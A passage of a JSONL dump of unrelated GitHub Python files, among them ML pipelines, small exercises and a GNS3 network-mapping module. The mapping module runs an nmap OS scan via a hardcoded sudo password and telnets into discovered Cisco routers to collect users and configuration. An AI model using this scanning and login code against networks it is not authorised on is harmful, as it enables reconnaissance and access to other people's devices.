pilha\r\nkstacks.find_stack(0).data.push(65)\r\nprint(kstacks.find_stack(0).data.peek()) # Eu sei... Isso é FEIO PRA CARALHO!\r\n\r\n# Para acessar uma pilha dentro de kstacks, é preciso acessar o atributo data (usar get e set)\r\nkstacks.find_stack(0).data.push(71)\r\nprint(kstacks.find_stack(0).data.peek())\r\n\r\nkstacks.push(Stack(10))\r\nkstacks.find_stack(1).data.push(26)\r\nprint(kstacks.find_stack(0).data.peek())\r\nprint(kstacks.find_stack(1).data.peek())\r\nkstacks.find_stack(0).data.display()\r\nkstacks.find_stack(1).data.display()\r\n","repo_name":"matt-zx315/pilhas-em-python","sub_path":"Pilha_2.py","file_name":"Pilha_2.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4110830133","text":"import numpy as np\n\nc = {}\n\n#fn = 'input_test.txt'\nfn = 'input_sl.txt'\n#fn = 'input.txt'\n\nls = []\n\nwith open(fn, 'r') as f:\n for l in f:\n _l = l.strip().split('-')\n ls.append((_l[0], _l[1]))\n if not _l[0] in c:\n c[_l[0]] = []\n c[_l[0]].append(_l[1])\n if not _l[1] in c:\n c[_l[1]] = []\n c[_l[1]].append(_l[0])\n\n\n\nps = [[]]\no = ['start']\n\nct = 0\n\nwhile len(o) > 0:\n n = o.pop()\n p = ps.pop()\n if n == 'end':\n print(p)\n ct += 1\n continue\n try:\n ts = c[n]\n except:\n ts = []\n for t in ts:\n #print(n, '-', t)\n if t.islower() and t in p:\n continue\n pc = p.copy()\n pc.append(n)\n ps.append(pc)\n o.append(t)\n #print(len(o), ct)\nprint(ct)\n\n \n","repo_name":"feider/adventofcode_2021","sub_path":"12/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"33804551153","text":"import pandas as pd\nimport numpy as np\nimport os\n\nfrom sklearn.preprocessing import OneHotEncoder, StandardScaler, KBinsDiscretizer, FunctionTransformer\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.compose import ColumnTransformer\n\nfrom sklearn.linear_model import Ridge\n\nfrom sklearn.model_selection import KFold, cross_val_score, GridSearchCV\n\nfrom sklearn.base import BaseEstimator\n\n\nDATA_PATH = os.path.join(\"datasets\", \"HousingPrices\")\n\ntrain = pd.read_csv(os.path.join(DATA_PATH, 'train.csv'))\ny = train.pop('SalePrice').values\n\ntest = pd.read_csv(os.path.join(DATA_PATH, 'test.csv'))\n\n#------------------------------------------------------------\nvc =train['HouseStyle'].value_counts()\nhs_train = train[['HouseStyle']]\n\nohe = OneHotEncoder(sparse=False, handle_unknown='ignore')\nhs_transf = ohe.fit_transform(hs_train)\nfeature_names = ohe.get_feature_names()\n\n# Проверка корректности преобразования\nhs_inv = ohe.inverse_transform(hs_transf)\nnp.array_equal(hs_train, hs_inv)\n\n\nhs_test = test[['HouseStyle']]\nhs_test_tf = ohe.transform(hs_test)\n\n#-------------------------------------------------------------------------\nhs_train = train[['HouseStyle']].copy()\nhs_train.iloc[0,0] = np.nan\n\nsi = SimpleImputer(strategy='constant', fill_value='MISSING')\nhs_imp = si.fit_transform(hs_train)\nhs_transf = ohe.fit_transform(hs_imp)\nohe.get_feature_names()\n\nhs_test = test[['HouseStyle']].copy()\nhs_test.iloc[0,0] = 'unique value to test set'\nhs_test.iloc[1,0] = np.nan\nhs_test_imp = si.transform(hs_test)\nhs_test_tf = ohe.transform(hs_test_imp)\n\n\n#--------------------------------------------------------------------------\npipe = Pipeline([\n ('si', SimpleImputer(strategy='constant', fill_value='MISSING')),\n ('ohe', OneHotEncoder(sparse=False, handle_unknown='ignore')),\n])\n\nhs_train = train[['HouseStyle']].copy()\nhs_train.iloc[0,0] = np.nan\nhs_transf = pipe.fit_transform(hs_train)\n\nhs_test = test[['HouseStyle']].copy()\nhs_test_tf = pipe.transform(hs_test)\n\npipe.named_steps['ohe'].get_feature_names()\n\n#--------------------------------------------------------------------------------\ncat_pipe = Pipeline([\n ('si', SimpleImputer(strategy='constant', fill_value='MISSING')),\n ('ohe', OneHotEncoder(sparse=False, handle_unknown='ignore'))\n])\n\nct = ColumnTransformer([\n (\"cat\", cat_pipe, ['RoofMatl', 'HouseStyle']),\n ],\n remainder='passthrough')\n\nX_cat_tf = ct.fit_transform(train)\nX_cat_tf_test = ct.transform(test)\n\npl = ct.named_transformers_['cat']\nohe = pl.named_steps['ohe']\nohe.get_feature_names()\n\nfeature_names = ct.named_transformers_['cat'].named_steps['ohe'].get_feature_names()\n\n#------------------------------------------------------------------------------\n# выводим тип каждой переменной в виде одной буквы\nkinds = np.array([dt.kind for dt in train.dtypes])\n\nall_columns = train.columns.values\nis_num = (kinds == 'i') | (kinds == 'f')\nnum_cols = all_columns[is_num]\n\n# cat_cols = all_columns[~is_num]\ncat_cols = all_columns[kinds == 'O']\n\nnum_pipe = Pipeline([\n ('si', SimpleImputer(strategy='mean')),\n ('ss', StandardScaler())\n])\nct = ColumnTransformer([\n ('num', num_pipe, num_cols)\n])\n\nX_num_tf = ct.fit_transform(train)\n\n#------------------------------------------------------------------------------\nct = ColumnTransformer([\n ('cat', cat_pipe, cat_cols),\n ('num', num_pipe, num_cols)\n])\n\nX = ct.fit_transform(train)\n\n#------------------------------------------------------------------------------\nml_pipe = Pipeline([\n ('transform', ct),\n ('ridge', Ridge())\n])\n\nml_pipe.fit(train, y)\nml_pipe.score(train, y)\n\n#-------------------------------------------------------------------------------\nkf = KFold(n_splits=5, shuffle=True, random_state=123)\ncross_val_score(ml_pipe, train, y, cv=kf).mean()\n\n#-------------------------------------------------------------------------------\nparam_grid = {\n'transform__num__si__strategy': ['mean', 'median'],\n'ridge__alpha': [.001, 0.1, 1.0, 5, 10, 50, 100, 1000]\n}\n\ngs = GridSearchCV(ml_pipe, param_grid, cv=kf, return_train_score=True)\ngs.fit(train, y)\ngs.best_params_\ngs.best_score_\n\ncv_results = pd.DataFrame(gs.cv_results_)\n#------------------------------------------------------------------------------\nclass BasicTransformer(BaseEstimator):\n\n def __init__(self, cat_threshold=None, num_strategy='median', return_df=False):\n # храним параметры как публичные аттрибуты\n self.cat_threshold = cat_threshold\n\n if num_strategy not in ['median', 'mean']:\n raise ValueError('num_strategy must be either \"mean\" or \"median\"')\n\n self.num_strategy = num_strategy\n self.return_df = return_df\n\n def fit(self, X, y=None):\n # подразумевает, что X - это объект DataFrame\n self._columns = X.columns.values\n\n # разбиваем данные на категориальные и количественные признаки\n self._dtypes = X.dtypes.values\n self._kinds = np.array([dt.kind for dt in X.dtypes])\n self._column_dtypes = {}\n is_cat = self._kinds == 'O'\n self._column_dtypes['cat'] = self._columns[is_cat]\n self._column_dtypes['num'] = self._columns[~is_cat]\n self._feature_names = self._column_dtypes['num']\n\n # создаем словарь на основе категориального признака,\n # где ключом будет уникальное значение выше порога\n self._cat_cols = {}\n for col in self._column_dtypes['cat']:\n vc = X[col].value_counts()\n if self.cat_threshold is not None:\n vc = vc[vc > self.cat_threshold]\n vals = vc.index.values\n self._cat_cols[col] = vals\n self._feature_names = np.append(self._feature_names, col + '_' + vals)\n\n # вычисляем общее количество новых категориальных признаков\n self._total_cat_cols = sum([len(v) for col, v in self._cat_cols.items()])\n\n # вычисляем среднее или медиану\n self._num_fill = X[self._column_dtypes['num']].agg(self.num_strategy)\n return self\n\n def transform(self, X):\n\n # проверяем, есть ли у нас объект DataFrame с теми же именами столбцов,\n # что и в том объекте DataFrame, который использовался для обучения\n if set(self._columns) != set(X.columns):\n raise ValueError('Passed DataFrame has diff cols than fit DataFrame')\n elif len(self._columns) != len(X.columns):\n raise ValueError('Passed DataFrame has diff number of cols than fit DataFrame')\n\n # заполняем пропуски\n X_num = X[self._column_dtypes['num']].fillna(self._num_fill)\n\n # стандартизируем количественные признаки\n std = X_num.std()\n X_num = (X_num - X_num.mean()) / std\n zero_std = np.where(std == 0)[0]\n\n # Если стандартное отклонение 0, то все значения идентичны. Задаем их равными 0.\n if len(zero_std) > 0:\n X_num.iloc[:, zero_std] = 0\n X_num = X_num.values\n\n # создаем отдельный массив для преобразованных категориальных признаков\n X_cat = np.empty((len(X), self._total_cat_cols), dtype='int')\n i = 0\n for col in self._column_dtypes['cat']:\n vals = self._cat_cols[col]\n for val in vals:\n X_cat[:, i] = X[col] == val\n i += 1\n\n # конкатенируем преобразованные количественные и категориальные признаки\n data = np.column_stack((X_num, X_cat))\n\n # возвращаем либо DataFrame, либо массив\n if self.return_df:\n return pd.DataFrame(data=data, columns=self._feature_names)\n else:\n return data\n\n def fit_transform(self, X, y=None):\n return self.fit(X).transform(X)\n\n def get_feature_names(self):\n return self._feature_names\n\nbt = BasicTransformer(cat_threshold=3, return_df=True)\n# train_tf = bt.fit_transform(train)\n\nbasic_pipe = Pipeline([('bt', bt), ('ridge', Ridge())])\n# basic_pipe.fit(train, y)\n# basic_pipe.score(train, y)\n#\n# cross_val_score(basic_pipe, train, y, cv=kf).mean()\n\nparam_grid = {\n 'bt__cat_threshold': [0, 1, 2, 3, 5],\n 'ridge__alpha': [.1, 1, 10, 100]\n}\ngs = GridSearchCV(basic_pipe, param_grid, cv=kf)\ngs.fit(train, y)\ngs.best_params_\ngs.best_score_\n\n#-------------------------------------------------------------\n\nkbd = KBinsDiscretizer(encode='onehot-dense')\n# выполняем биннинг\nyear_built_transformed = kbd.fit_transform(train[['YearBuilt']])\n\ntrain['YearBuilt'].value_counts()\nyear_built_transformed\nkbd._encoder.get_feature_names()\n\nnum_highposskew_pipe = Pipeline([\n ('sqrt', FunctionTransformer(np.sqrt, validate=False)),\n ('kbd', KBinsDiscretizer(n_bins=5, encode='onehot-dense'))\n])\nyear_built_transformed1 = num_highposskew_pipe.fit_transform(train[['YearBuilt']])\nnum_highposskew_pipe.named_steps['kbd']._encoder.get_feature_names()\n\n\n# убедимся, что бины содержать примерно\n# одинаковое количество наблюдений\nyear_built_transformed.sum(axis=0)\n\n# посмотрим на границы бинов\nkbd.bin_edges_\n\n# выделяем переменные с годами в отдельный список\nyear_cols = ['YearBuilt', 'YearRemodAdd', 'GarageYrBlt', 'YrSold']\n# создаем булев массив\nnot_year = ~np.isin(num_cols, year_cols + ['Id'])\n# выделяем количественные переменные, исключив переменные с годами и Id\nnum_cols2 = num_cols[not_year]\n\nyear_pipe = Pipeline([\n ('si', SimpleImputer(strategy='median')),\n ('kbd', KBinsDiscretizer(n_bins=5, encode='onehot-dense')),\n])\ncat_pipe = Pipeline([\n ('si', SimpleImputer(strategy='constant', fill_value='MISSING')),\n ('ohe', OneHotEncoder(sparse=False, handle_unknown='ignore')),\n])\nnum_pipe = Pipeline([\n ('si', SimpleImputer(strategy='mean')),\n ('ss', StandardScaler())\n])\n\nct = ColumnTransformer([\n ('cat', cat_pipe, cat_cols),\n ('num', num_pipe, num_cols2),\n ('year', year_pipe, year_cols)\n])\n\nX = ct.fit_transform(train)\n\nml_pipe = Pipeline([('transform', ct), ('ridge', Ridge())])\n# cross_val_score(ml_pipe, train, y, cv=kf).mean()\nparam_grid = {\n'transform__year__kbd__n_bins': [4, 6, 8, 10],\n'ridge__alpha': [.1, .5, 1, 5, 10, 100]\n}\ngs = GridSearchCV(ml_pipe, param_grid, cv=kf)\ngs.fit(train, y)\ngs.best_params_\ngs.best_score_","repo_name":"alermar69/TutorialsML","sub_path":"regression/HousingPrices/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":11009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5713919562","text":"import tensorflow as tf\n\nimport sys,os\n\nimport pandas as pd\nimport json\n\nimport numpy as np\nimport cv2\n\nfrom keras.models import model_from_json\nfrom keras import backend as K\nfrom keras.optimizers import Adam, SGD\n\ndef load_graph(graph_file, use_xla=False):\n jit_level = 0\n config = tf.ConfigProto()\n if use_xla:\n jit_level = tf.OptimizerOptions.ON_1\n config.graph_options.optimizer_options.global_jit_level = jit_level\n\n with tf.Session(graph=tf.Graph(), config=config) as sess:\n gd = tf.GraphDef()\n with tf.gfile.Open(graph_file, 'rb') as f:\n data = f.read()\n gd.ParseFromString(data)\n tf.import_graph_def(gd, name='')\n ops = sess.graph.get_operations()\n n_ops = len(ops)\n return sess.graph, ops\n\n# parse parameters\nmodel_file = './model_weights/FCN_Vgg19_unet_final.json'\nmodel_weights = './model_weights/Best_FCN_Vgg19_unet_final.hdf5'\n\n# read in model\nwith open(model_file, 'r') as jfile:\n model = model_from_json(json.load(jfile))\n\nprint(\"Model loaded\") \n \n# Load trained weights\nmodel.load_weights(model_weights)\nprint(\"Model weights loaded\") \n\nmodel.summary()\n\n# Get model input and output names\nmodel_input = model.input.name.strip(':0')\nmodel_output = model.output.name.strip(':0')\n\nprint(model_input, model_output)\n\n# Get session\nsess = K.get_session()\ngraph = sess.graph.as_graph_def()\n\n#print(graph)\n\nprint(\"got sess graph\")\n\nprint(len(sess.graph.get_operations()))\n\n#sess = tf.keras.backend.get_session()\n#frozen_graph = tf.freeze_session(sess, output_names=[out.op.name for out in model.outputs])\n\n# freeze graph and remove nodes used for training \nfrozen_graph = tf.graph_util.convert_variables_to_constants(sess, graph, [model_output])\nfrozen_graph = tf.graph_util.remove_training_nodes(frozen_graph)\n\n#print(\"got frozen graph\")\n\ntf.train.write_graph(frozen_graph, \"./\", \"frozen_graph.pb\", as_text=False)\nprint(\"saved frozen_graph.pb file\")\n\nsess, frozen_graph = load_graph('frozen_graph.pb')\nprint(len(frozen_graph))\n\n#run optimize for inference\n#python -m tensorflow.python.tools.optimize_for_inference --input frozen_graph.pb --output optimized_graph.pb --input_names=image --output_names=ground_truth_2/Sigmoid","repo_name":"fwulff/Lyft_Challenge","sub_path":"detection/compress_tf_rt_vgg19.py","file_name":"compress_tf_rt_vgg19.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34849220721","text":"#index fucntion will search the lsits and return the inex position\r\n#where the value was found\r\nguests = ['I','Still ','Love', 'You', 'Lesedi', 'Monakhisi']\r\nprint(guests.index('I')) #this will return 2\r\n#if index cannot find a value in the list, ypu will get erro\r\nsteps = 0\r\n#ow many values in the lst\r\nnumEntries = len(guests)\r\n\r\nfor steps in range(numEntries) :\r\n print(guests[steps])\r\n steps = steps +1 \r\n\r\n#another loop\r\n\r\nfor guest in guests :\r\n print(guest)","repo_name":"0blacc/python-","sub_path":"searching through a list.py","file_name":"searching through a list.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28967113453","text":"import json\nfrom typing import Union\nimport pexpect\nfrom pexpect import pxssh\nimport subprocess\nfrom api.utils.configs import get_gns3_config\nfrom api.utils.decorators import netapi_decorator\n\n@netapi_decorator(\"mapping\", None)\ndef get_ip_from_local_address(excluded, log = None):\n log.info(\"Obteniendo direcciones IP de la interfaz local\")\n ip_ints = subprocess.getoutput(\"ifconfig | grep inet\")\n ips_list = ip_ints.split(\"\\n\")\n filtered_ips = filter(lambda x: x.find(\"inet6\") == -1 and x.find(\"127.0.0.1\") == -1, ips_list)\n local_nets = []\n for ip in filtered_ips:\n int_ip = ip.strip().split(\" \")[1]\n addr_octets = int_ip.split(\".\")\n addr_octets[3] = \"0\"\n ip_addr = \".\".join(addr_octets)\n if ip_addr not in excluded:\n local_nets.append( \".\".join(addr_octets) )\n log.info(f\"Direcciones IP del dispositivo {','.join(local_nets)}\")\n return local_nets\n\n@netapi_decorator(\"mapping\", None)\ndef get_os_in_network(segment, log = None):\n log.info(\"Iniciando el proceso de sondeo en la red...\")\n nmap =subprocess.getoutput(f\"echo gns3 | sudo -S nmap -O {segment}/24\")\n results = nmap.split(\"Nmap scan report for\")\n del results[0]\n int_addr_of_routers = []\n for res in results:\n if \"Cisco\" in res:\n log.info(\"Router cisco encontrado\")\n addr_text = res.split(\"\\n\")[0].split(\" \")[2].replace(\"(\", \"\").replace(\")\", \"\")\n int_addr_of_routers.append(addr_text)\n \n log.info(f\"Dispositivos CISCO encontrados: {','.join(int_addr_of_routers)}\")\n return int_addr_of_routers\n\n@netapi_decorator(\"mapping\")\ndef login_into_router(route : list, log = None):\n log.debug(f\"Ruta actual: {','.join(route)}\")\n gns3_usr, gns3_pwd = get_gns3_config()\n for i, ip in enumerate(route):\n log.info(f\"Conectandose a {ip}\")\n if i == 0:\n tn = pexpect.spawn(f\"telnet {ip}\")\n else:\n tn.sendline(f\"telnet {ip}\")\n tn.expect(\"Username:\")\n tn.sendline(gns3_usr)\n tn.expect(\"Password:\")\n tn.sendline(gns3_pwd)\n tn.expect(\"#\")\n return tn \n\ndef send_command(tn: Union[pexpect.spawn, pxssh.pxssh], command: str):\n tn.sendline(command)\n tn.expect(\"#\")\n return tn.before.decode(\"utf8\")\n\n@netapi_decorator(\"mapping\")\ndef get_ssh_status(tn: Union[pexpect.spawn, pxssh.pxssh], log = None):\n log.info(\"Obteniendo estado del servicio SSH en el dispositivo\")\n out = send_command(tn, \"sh run | s transport input\").split(\"\\n\")\n out.pop(0)\n ssh_stat = out[0]\n return ssh_stat.find(\"ssh\") != -1\n\n@netapi_decorator(\"mapping\")\ndef get_router_protocols(tn: pexpect.spawn, log = None):\n log.info(\"Obteniendo protocolos del router\")\n send_command(tn, \"terminal length 0\")\n out_lines = send_command(tn, \"show ip protocol\").split(\"\\n\")\n out_lines.pop(0)\n routing_protocols_data = [x for x in out_lines if x.startswith(\"Routing Protocol\")]\n protocols_in_router = []\n for prot in routing_protocols_data:\n temp_p = prot.split(\"\\\"\")\n protocols_in_router.append(temp_p[1])\n log.info(f\"Protocolos encontrados: {', '.join(protocols_in_router)}\")\n return protocols_in_router\n\n@netapi_decorator(\"mapping\")\ndef check_snmp_in_router(tn: pexpect.spawn, log = None):\n log.info(\"Obteniendo estado de SNMP en el dispositivo\")\n send_command(tn,\"terminal length 0\")\n snmp_stat = send_command(tn, \"sh snmp\").split(\"\\n\")\n snmp_stat.pop(0)\n snmp_stat = snmp_stat[0].replace(\"\\r\", \"\").replace(\"%\", \"\")\n return snmp_stat != \"SNMP agent not enabled\"\n\n@netapi_decorator(\"mapping\")\ndef get_router_hostname(tn : pexpect.spawn, log = None):\n log.info(\"Obteniendo nombre del dispositivo\")\n out = send_command(tn, \"sh run | s hostname\")\n return out.split(\"\\n\")[1].split(\" \")[1].replace(\"\\r\", \"\")\n\n@netapi_decorator(\"mapping\")\ndef get_users_in_router(tn : pexpect.spawn, log = None):\n log.info(\"Obteniendo la lista de usuarios registrados en el dispositivo\")\n send_command(tn, \"terminal lenght 0\")\n sh_users = send_command(tn, \"sh run | s username\").split(\"\\n\")\n sh_users.pop(0)\n #print(sh_users)\n users_in_rt = []\n for usr in sh_users:\n usr_data = usr.split(\" \")\n if len(usr_data) > 1:\n users_in_rt.append({ \"username\": usr_data[1], \"privilege\": usr_data[3] })\n return users_in_rt\n\n@netapi_decorator(\"mapping\")\ndef get_interfaces_info(child: pexpect.spawn, log = None):\n log.info(\"Obteniendo informacion de las interfaces del dispositivo\")\n send_command(child, \"terminal length 0\")\n sh_ip_brf = send_command(child, \"sh ip int brief\").split(\"\\n\")\n sh_ip_brf.pop(0)\n sh_ip_brf.pop(0)\n interfaces = []\n for int in sh_ip_brf:\n int_data = [ str(x) for x in filter(lambda x: x != \"\", int.split(\" \")) if str(x) != \"\\r\"] \n if len(int_data) > 1:\n log.debug(\"Interfaz encontrada\")\n log.debug(\"Buscando mascara de red\")\n \n net_mask = send_command(child, f\"sh run | s ip address {int_data[1]}\").split(\"\\n\")\n net_mask.pop(0)\n int_mask = \"0.0.0.0\"\n if len(net_mask) > 1:\n int_mask = net_mask[0].split(int_data[1])[1].replace(\"\\r\", \"\")\n \n interfaces.append({ \"interface\": int_data[0], \"ip\": int_data[1], \"mask\": int_mask, \"status\": int_data[4] if int_data[4] != \"administratively\" else int_data[5] })\n log.info(f\"Interfaces encontradas: {json.dumps(interfaces)}\")\n return interfaces\n\n@netapi_decorator(\"mapping\")\ndef get_cdp_output(child: pexpect.spawn, mapped_devices: list, root_device : str, log = None):\n log.info(\"Obteniendo informacion CDP del dispositivo\")\n child.sendline(\"terminal length 0\")\n child.expect(\"#\")\n child.sendline(\"sh cdp entry *\")\n child.expect(\"#\")\n child.sendline(\"sh cdp entry *\")\n child.expect(\"#\")\n cdp_out = child.before.decode().split('-------------------------')\n external_devices = []\n for entry in cdp_out:\n if \"Device ID\" in entry:\n entry_lines = entry.split(\"\\n\")\n device_id = entry_lines[1].split(\" \")[2].replace(\"\\r\", \"\")\n ip_addr = entry_lines[3].strip().split(\" \")[2].replace(\"\\r\", \"\")\n addrs = entry_lines[5].strip().split(\" \")\n interface_in = addrs[1].replace(\",\", \"\")\n interface_out = addrs[7].replace(\"\\r\", \"\")\n if device_id not in mapped_devices:\n external_devices.append({ \"name\": device_id, \"address\": ip_addr, \"local_interface\": interface_in,\"external_interface\": interface_out, \"parent\": root_device })\n log.debug(f\"Dispositivos detectados: {json.dumps(external_devices)}\")\n return external_devices","repo_name":"rodrigoalvarez-20/Network-API","sub_path":"utils/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15971809595","text":"import ast\nimport time\nimport json\nimport requests\n\n\ndef call_raspberrypi(args, run):\n starttime = str(time.time()).replace(\".\", '_')\n data = {'args': args, 'starttime': starttime}\n data = json.dumps(data)\n url = \"https://knowledgetransfer-30e8a.firebaseio.com\"\n print(\"checking firebase\")\n while True:\n time.sleep(1)\n response = requests.get(url + \"/todo.json\")\n assert(response.status_code == 200), response\n print(\"waiting for todo to become empty\")\n if(response.text == \"null\"):\n print(\"todo is empty\")\n break\n\n print(\"sending job to firebase\")\n response = requests.put(url + \"/todo.json\", data=data)\n response = requests.put(url + \"/done/\" + starttime + \".json\", data='{}')\n assert(response.status_code == 200), response\n counter = 0\n\n while True:\n if counter == 150:\n raise Exception(\"timeout for latency result reached. job failed\")\n\n response = requests.get(url + \"/done/\" + starttime + \".json\")\n assert(response.status_code == 200), response\n time.sleep(2)\n if(response.text == \"null\"):\n counter += 1\n print(counter, \"/150 - waiting for latency result\")\n continue\n respond_data = ast.literal_eval(response.text)\n\n print(\"respond data is \", (respond_data))\n if respond_data['latency'] == \"None\":\n raise Exception(\"eval server crashed\")\n latency = float(respond_data[\"latency\"])\n assert(respond_data[\"starttime\"] == starttime)\n run.summary['latency_device'] = respond_data[\"latency_device\"]\n response = requests.put(url + \"/done/\" + starttime + \".json\",\n data='{}')\n\n run.summary['latency'] = latency\n run.summary.update()\n assert(latency <= 1.0)\n break\n","repo_name":"ottozastrow/knowledge_transfer","sub_path":"latency_tools.py","file_name":"latency_tools.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29790226490","text":"import socket\n\nUDP_IP_ADDRESS = '127.0.0.1'\nUDP_PORT_NUMBER = 8888\n\nclientSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nmessage = \"Kushwaha loves Shilpa\"\n\nclientSocket.sendto(message.encode(), (UDP_IP_ADDRESS, UDP_PORT_NUMBER))\n","repo_name":"YadavAnurag/practices","sub_path":"pythonNetworkProgrammig/udp/clientUDPSocket.py","file_name":"clientUDPSocket.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36131546482","text":"# Faça um programa que leia e valide as seguintes informações:\n# Nome: maior que 3 caracteres;\n# Idade: entre 0 e 150;\n# Salário: maior que zero;\n# Sexo: 'f' ou 'm';\n# Estado Civil: 's', 'c', 'v', 'd';\n\nnome = input('Digite seu nome: ')\nwhile len(nome) < 3:\n nome = input('Digite um nome com 3 ou mais letras: ')\n\nidade = int(input('Digite sua idade: '))\nwhile idade < 0 or idade > 150:\n idade = int(input('Digite uma idade entre 0 e 150: '))\n\nsalario = float(input('Digite seu salário: R$ '))\nwhile salario < 0:\n salario = float(input('Digite um salário maior que 0: R$ '))\n\nsexo = input('[M]asculino ou [F]eminino: ')\nwhile sexo != 'M' and sexo != 'F':\n sexo = input('Digite um sexo válido, [M]asculino ou [F]eminino: ')\n\nestado_civil = input('Estado civíl: [S]olteiro, [C]asado, [V]iúvo, [D]ivorciado: ')\nwhile estado_civil != 'S' and estado_civil != 'C' and estado_civil != 'V' and estado_civil != 'D':\n estado_civil = input('Digite um estado civíl válido: [S]olteiro, [C]asado, [V]iúvo, [D]ivorciado: ')\n\n\n\nprint(nome)\nprint(idade)\nprint(salario)\nprint(sexo)\nprint(estado_civil)","repo_name":"henriquelorenzini/EstruturaDeRepeticao","sub_path":"Exercicio03.py","file_name":"Exercicio03.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36305444275","text":"import os\nimport os.path as osp\nimport shutil\nimport json\nimport torch\nimport torch.utils.data as data\nimport numpy as np\nimport os\nimport h5py\nimport subprocess\nimport shlex\nimport random\nimport time\n\nfrom torchvision import transforms\nimport pointcloud_data_loaders.pc_data_utils as dutils\nimport pointcloud_utils.farthest_point_sampling as fps\n\n# def _download(self):\n# path = download_url(self.url, self.root)\n# extract_zip(path, self.root)\n# os.unlink(path)\n# shutil.rmtree(self.raw_dir)\n# name = self.url.split('/')[-1].split('.')[0]\n# os.rename(osp.join(self.root, name), self.raw_dir)\n# print(\"download\")\n\ndef save_filename_list(path_to_save, fname_list, mode=\"w+\"):\n f= open(path_to_save, mode)\n for fname in fname_list:\n f.write(fname)\n f.close()\n\ndef load_model_data(filename, sep=','):\n with open(filename) as f:\n point_list = [np.fromstring(line, dtype=float, sep=sep) for line in f]\n N = len(point_list)\n data = np.concatenate(point_list, 0).reshape(N, -1) # shape to N*(3+3)\n \n if data.shape[1] == 4:\n xyz = data[:, :3]\n labels = data[:, 3:4]\n return xyz, labels\n elif data.shape[1] == 7:\n xyz = data[:, :6]\n labels = data[:, 6:7]\n return xyz, labels\n else:\n print(\"data.shape[1] != 4 or 7\")\n return data\n\ndef compute_laplacian_on_pointcloud_with_normals(xyz, normals, radius=0.1, nsample=32):\n squeezed = False\n if len(xyz.shape) == 2:\n xyz = xyz.unsqueeze(0)\n normals = normals.unsqueeze(0)\n squeezed = True\n B, N, C = xyz.shape\n idx = query_ball_point(radius, nsample, xyz, xyz)\n grouped_xyz = index_points(xyz, idx)\n grouped_xyz -= xyz.view(B, N, 1, C) ## delta_ji = x_j - x_i\n laplacian_vector = grouped_xyz.permute(0,1,3,2).mean(dim=-1) ## delta_ji / deg\n # print(\"laplacian_vector.shape \", laplacian_vector.shape)\n # print(\"normals.shape \", normals.shape)\n laplacian = torch.abs((laplacian_vector*normals).sum(dim=-1))\n if squeezed:\n return laplacian.squeeze(0)\n return laplacian\n\nclass ShapeNetPartSegLoader():\n url = ('https://shapenet.cs.stanford.edu/media/'\n 'shapenetcore_partanno_segmentation_benchmark_v0_normal.zip')\n\n category_ids = {\n 'Airplane': '02691156',\n 'Bag': '02773838',\n 'Cap': '02954340',\n 'Car': '02958343',\n 'Chair': '03001627',\n 'Earphone': '03261776',\n 'Guitar': '03467517',\n 'Knife': '03624134',\n 'Lamp': '03636649',\n 'Laptop': '03642806',\n 'Motorbike': '03790512',\n 'Mug': '03797390',\n 'Pistol': '03948459',\n 'Rocket': '04099429',\n 'Skateboard': '04225987',\n 'Table': '04379243',\n }\n\n seg_classes = {\n 'Airplane': [0, 1, 2, 3],\n 'Bag': [4, 5],\n 'Cap': [6, 7],\n 'Car': [8, 9, 10, 11],\n 'Chair': [12, 13, 14, 15],\n 'Earphone': [16, 17, 18],\n 'Guitar': [19, 20, 21],\n 'Knife': [22, 23],\n 'Lamp': [24, 25, 26, 27],\n 'Laptop': [28, 29],\n 'Motorbike': [30, 31, 32, 33, 34, 35],\n 'Mug': [36, 37],\n 'Pistol': [38, 39, 40],\n 'Rocket': [41, 42, 43],\n 'Skateboard': [44, 45, 46],\n 'Table': [47, 48, 49],\n }\n\n split_types = ['train', 'val', 'test']\n\n def __init__(\n self, num_points, root, category, \n split, has_warper=False, augmentation=False, non_uniform=False,\n rotsd=15.0, transsd=0.2, scale_lo=0.8, scale_hi=1.25, truncated_dataset=None\n ):\n super().__init__()\n ## if there is no data on the disk, download it\n if not osp.exists(root):\n raise \"No specified path\"\n\n self.category_list = []\n assert category in self.category_ids\n self.category_list.append(self.category_ids[category])\n print(f\"category: {category}-{self.category_list}\")\n\n ##\n self.root = root\n self.num_points = num_points\n self.has_warper = has_warper\n self.split = split\n self.augmentation = augmentation\n self.non_uniform = non_uniform\n\n print(\n f\"root {self.root}, split {self.split}\", \n f\"has_warper {self.has_warper}, do augmentation {self.augmentation}\",\n f\"non_uniform sampling {self.non_uniform}\" )\n\n print(\n f\"rotation: {rotsd}deg, translation {transsd}\", \n f\"scale: {scale_lo} {scale_hi}\" )\n\n ## load data\n self.fname_list = self._make_datalist(self.split)\n point_list, label_list = self._load(self.fname_list)\n \n if truncated_dataset is not None:\n assert isinstance(truncated_dataset, float)\n # assert truncated_dataset < 0.5\n K = int(truncated_dataset*len(point_list))\n rand_indices=torch.randperm(len(point_list))[0:K]\n print(f\"training sample ids: {rand_indices}\")\n self.point_list = [point_list[idx] for idx in rand_indices]\n self.label_list = [label_list[idx] for idx in rand_indices]\n else:\n self.point_list = 